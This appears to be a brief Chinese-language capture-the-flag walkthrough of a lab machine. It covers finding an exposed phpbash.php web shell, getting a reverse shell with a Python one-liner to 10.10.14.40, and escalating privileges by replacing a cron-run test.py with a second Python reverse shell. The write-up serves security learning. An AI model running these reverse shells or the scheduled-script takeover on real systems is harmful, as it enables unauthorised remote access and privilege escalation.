先查看80端口的服务

尝试爆破路径，发现 http://10.10.10.68/dev/phpbash.php 可以执行命令

0x01 漏洞利用

反弹shell

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.40",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);‘

0x02 权限提升

使用sudo -l查看一下基本权限

发现www-data可以直接切换到用户scriptmanager

通过scripts目录下的test.txt判断test.py每分钟执行一次

在本地创建test.py覆盖目标机器中的test.py

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.40",4445));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
